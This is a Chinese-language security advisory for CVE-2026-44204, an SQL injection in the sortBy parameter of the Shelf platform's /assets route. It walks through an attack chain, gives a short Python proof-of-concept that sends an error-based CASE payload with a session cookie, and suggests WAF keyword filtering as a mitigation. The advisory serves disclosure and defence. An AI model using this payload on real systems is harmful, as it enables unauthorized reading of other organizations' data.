IPBUF安全漏洞报告
English
CVE-2026-44204 CVSS 6.5 中危

CVE-2026-44204 Shelf平台SQL注入漏洞

披露日期: 2026-05-12

漏洞信息

漏洞编号
CVE-2026-44204
漏洞类型
SQL注入
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Shelf

相关标签

SQL注入ShelfCVE-2026-44204信息泄露物理资产管理

漏洞概述

Shelf是一款用于追踪物理资产的平台。在1.12至1.20.1之前的版本中,其/assets路由的sortBy查询参数存在SQL注入漏洞。由于对用户输入处理不当,任何经过身份验证的用户(包括低权限角色)均可利用该漏洞执行任意SQL查询。攻击者能够借此读取数据库中任意表的数据,甚至获取属于其他组织的敏感信息。官方已在1.20.1版本中修复此问题。

技术细节

该漏洞的根本原因在于Shelf平台在处理/assets路由的排序请求时,未对sortBy参数进行严格的输入验证或参数化处理,直接将其拼接到SQL语句中。攻击者无需管理员权限,仅需一个有效的认证账号(PR:L),即可构造恶意SQL载荷发送至服务器。由于利用点位于ORDER BY子句附近,攻击者通常使用子查询、CASE语句或UNION查询来提取数据。这种利用方式允许攻击者绕过应用层的业务逻辑隔离,直接访问底层数据库,导致跨组织的数据泄露。

攻击链分析

STEP 1
信息收集
攻击者识别目标正在使用Shelf平台,并确定其版本在受影响范围内(1.12至1.20.1之前)。
STEP 2
获取凭证
攻击者注册一个普通用户账号或获取一个低权限的已认证会话令牌(Cookie)。
STEP 3
构造载荷
攻击者构造包含恶意SQL语句的sortBy参数,旨在通过ORDER BY子句提取数据(如版本号、用户表等)。
STEP 4
执行攻击
攻击者向/assets路由发送包含恶意参数的HTTP GET请求,触发后端数据库执行SQL注入。
STEP 5
数据窃取
分析服务器响应,利用注入点读取数据库中任意表的数据,包括其他组织的敏感资产信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL url = "https://target-shelf-instance.com/assets" # Authenticated session cookie (Required) cookies = { "shelf_session": "valid_session_token_here" } # Malicious payload for sortBy parameter # Attempting to extract database version via blind injection or error based payload = "(SELECT CASE WHEN (1=1) THEN id ELSE 1/0 END)" params = { "sortBy": payload } try: response = requests.get(url, params=params, cookies=cookies, timeout=10) if response.status_code == 200: print("Request sent successfully. Check response for SQL errors or timing differences.") print(response.text[:200]) # Print partial response else: print(f"Request failed with status code: {response.status_code}") except Exception as e: print(f"An error occurred: {e}")

影响范围

Shelf >= 1.12, < 1.20.1

防御指南

临时缓解措施
如果无法立即升级,建议在WAF(Web应用防火墙)层面对/assets路由的sortBy参数添加严格的过滤规则,拦截常见的SQL注入关键词(如UNION, SELECT, CASE等)。同时,加强对数据库访问日志的审计,监控异常的查询行为。

参考链接